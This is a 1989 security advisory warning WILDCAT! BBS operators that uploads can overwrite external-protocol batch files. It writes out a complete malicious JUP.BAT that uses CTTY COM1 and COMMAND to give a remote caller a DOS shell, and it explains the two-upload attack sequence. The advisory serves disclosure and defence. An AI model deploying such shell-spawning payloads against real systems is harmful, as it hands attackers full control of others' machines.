textfiles/bbs/security.txt

                            WILDCAT!(tm) BBS system
                               Security Emergency
                                 Documentation
                                January 2, 1989
                               Richard B. Johnson
                                PROGRAM EXCHANGE
                                 (303) 440-0786

          There exists within the WILDCAT!(tm) external protocol pro-
          cedures the considerable possibility that somebody who is
          familiar with the system could execute a copy of COMMAND.COM
          and have full control of your computer, erasing or format-
          ting disks, and creating all kinds of havoc. Basically, any-
          thing that you could do from the keyboard can be done by the
          remote-user if he knows how to do it.

          Please read all the ".DOC" files in this archive and the
          archives included within. I also suggest that you implement
          LOG (LOG.ARC) if you haven't already done so. I was able to
          detect an attempt at breaching security on my own system.
          The only thing that prevented the hacker from getting to the
          DOS level was he didn't know what the "upload" filename was
          on my system. The LOG utility was what first called my
          attention to this problem.

          Note that I was able to log onto a system in Colorado as a
          new user and, within 60 seconds I was at the 'DOS' level. It
          had taken me only 20 seconds on my own system but I knew the
          names of the "upload" batch files and the communications
          adapter port being used.

          The problem is that the external protocol setup, as advised
          by Mustang Software, will allow an "upload" batch file to be
          replaced by a batch file of the same name during an upload!
          If your communications adapter port is COM1, and you use a
          batch file called JUP.BAT for JMODEM uploads, the hacker
          could upload the following JUP.BAT file:

          REM * hacker's special
          REM
          REM
          REM
          REM
          REM
          REM
          REM
          IF %3 == HACKER.TXT GOTO BREAK
          GOTO END
          :BREAK
          @ECHO OFF
          CTTY COM1
          COMMAND
          :END










                                     - 1 -
          




          It works this way. The first "upload" is a file called
          JUP.BAT. JMODEM (could be ZMODEM or any external protocol)
          dutifully overwrites the existing JUP.BAT and exits with no
          errors.

          COMMAND.COM, when executing a ".BAT" file opens then closes
          the file for each line in the file. COMMAND.COM "knows" that
          the last line was, perhaps, line 4. It therefore looks at
          line 5 for its next instruction. It executes one of the
          several "REM" statements, then exits at the ":END" label
          since the filename (%3) was not HACKER.TXT.

          The BBS system software regains control and, finding no file
          transferred, simply continues like nothing happened.

          The hacker then attempts to upload HACKER.TXT using the
          JMODEM protocol. JUP.BAT has been replaced with the hacker's
          new version. Since the %3 parameter is now HACKER.TXT, the
          batch file branches to label ":BREAK". The console input is
          redirected to the COM1 port and an additional copy of
          COMMAND.COM is loaded with its I/O having been redirected to
          the COM1 port.

          Of course the hacker has not executed any external protocols
          on his system. He's just sitting there in terminal-mode in
          full control of your system.

          Caveat modulus carborundum.

          - finis -






























                                     - 2 -